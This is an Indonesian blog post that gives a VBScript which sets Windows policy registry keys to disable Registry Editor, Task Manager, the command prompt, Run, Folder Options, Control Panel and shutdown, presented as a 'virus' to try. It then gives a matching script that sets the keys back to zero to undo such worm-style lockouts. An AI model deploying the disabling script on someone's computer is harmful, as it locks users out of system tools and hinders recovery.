Cara Membuat dan Menghapus Virus VBS

Published by : walya    Info Komputer

Script vbs untuk menormalkan kembali, jika anda ingin coba silakan copy script ini ke notepad simpan dengan tulisan virus.vbs ( ingat extentionnya harus vbs ) dan jalankan script tersebut kemudian restart komputer anda apa yang terjadi —————script vbs disable ———————-

Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
on error resume Next
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\system\DisableRegistryTools", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\system\DisableTaskMgr", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\system\DisableCMD", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\system\NoDispCpl", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoRun", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoFolderOptions", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoTrayContextMenu", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoClose", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoFind", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoViewContextMenu", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoControlPanel", "1", "REG_DWORD"

—————script vbs disable ———————- jika komputer anda sudah posisi restart check menu run, (ctrl+alt+del) untuk melihat taskmanager dan folder option,serta shutdown semuanya hilang, lantas bagaimana cara mengembalikannya kembali
copy script dibawa ini agar anda tidak report merubah angka 1 menjadi nol, ingat pelajaran registry 1 menjadi disable 0 menjadi enable —————script vbs enable ———————- Dim WshShell
Set WshShell = WScript.CreateObject(”WScript.Shell”)
on error resume Next
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\system\DisableRegistryTools”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\system\DisableTaskMgr”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\system\DisableCMD”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\system\NoDispCpl”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoRun”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoFolderOptions”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoTrayContextMenu”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoClose”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoFind”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoViewContextMenu”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoControlPanel”, “0″, “REG_DWORD” —————script vbs enable ———————- setelah anda simpan menjadi nama antivirus.vbs,jalankan scriptnya dan shutdown dengan cara menekan power pada CPU kira kira 5 second atau sampai komputernya shutdown sendiri baru dilepas powernya dan kita tekan kembali tombol power untuk menghidupkan, virus vbs berhasil disembuhkan. Catatan :
vbs script ini juga bisa di gunakan untuk mengenable registry,menu run dan taskmanager, folder option yang biasa dipakai oleh pembuat worm mendisable fasilitas tersebut